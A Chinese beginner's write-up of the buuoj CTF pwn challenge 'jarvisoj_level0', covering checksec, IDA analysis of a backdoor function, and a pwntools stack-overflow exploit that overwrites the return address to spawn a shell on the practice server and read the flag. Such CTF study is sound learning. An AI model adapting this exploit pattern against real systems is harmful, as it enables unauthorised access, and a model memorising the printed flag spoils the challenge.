CTF buuoj pwn-----第6题:jarvisoj_level0

本文记录了一次pwn题目的解决过程,通过checksec分析了64位程序的保护机制,发现存在栈溢出漏洞。利用IDA进行静态分析找到后门函数callsystem()的地址,然后构造payload覆盖返回地址,最终成功执行system(/bin/sh)获取shell,得到了flag。


前言

记录一下pwn的过程, 新手学习日记, 流水线记录.
打开题目, 连接靶机,下载文件level0

在这里插入图片描述

一、checksec 检测文件的保护机制

bing@bing-virtual-machine:~/pwn$ checksec ./level0
[*] '/home/bing/pwn/level0'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
bing@bing-virtual-machine:~/pwn$ 

可以看出它是一个64位程序,仅开启了栈不可执行保护,No PIE. 猜测为 溢出漏洞

  • gdb运行一下:
bing@bing-virtual-machine:~/pwn$ gdb ./level0 
(gdb) r
Starting program: /home/bing/pwn/level0 
Hello, World

二. 静态分析,IDA打开文件

  • IDA打开文件level0

按下shift+f12,打开string window
发现 /bin /sh在这里插入图片描述

  • 双击 /bin /sh, 点击command, 点击X, 发现 /bin /sh的address在可疑函数callsystem()
    在这里插入图片描述
  • 打开后门函数callsystem(),并记下函数地址0x400596

在这里插入图片描述

  • 按下f5,发现callsystem()函数里面含有system("/bin/sh");
    在这里插入图片描述
  • 打开main函数只有两条语句;

在这里插入图片描述

  • 打开vulnerable_function()

在这里插入图片描述

  • buf[128] buf变量分配的空间只有0x80, 而read函数的第三个参数是0x200,可以输入0x200, 显然存在溢出;
    双击buf:
    在这里插入图片描述
  • return address 之前需要覆盖0x88+0x8个字符. 并把return address覆盖为后门函数callsystem()的地址0x400596

构造payload:

payload =b'a'*(0x80+0x8) + p64(0x400596)
  • 0x80个a赋值给buf[128],8个a覆盖栈底s (saved registers),即rbp的值(注意如果是32位系统就是esp,只有4个字节),把后门函数callsystem()的地址0x400596覆盖到vulnerable_function函数的返回地址 r (return addres) , 就可执行system("/bin/sh") ,获取shell.

三. 编写EXP

from pwn import *  

sh = remote('node4.buuoj.cn', 26077)
payload = b'a'*(0x80+0x8)+p64(0x400596) 
sh.sendline(payload)

sh.interactive()

四. 运行EXP, 获取flag

bing@bing-virtual-machine:~/pwn$ python3 ./level0.py
[+] Opening connection to node4.buuoj.cn on port 26077: Done
[*] Switching to interactive mode
Hello, World
$ ls
bin
boot
dev
etc
flag
flag.txt
home
lib
lib32
lib64
media
mnt
opt
proc
pwn
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag
flag{1a6ba01d-1c5e-402c-8e88-080a0a2aed95}

flag{1a6ba01d-1c5e-402c-8e88-080a0a2aed95}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值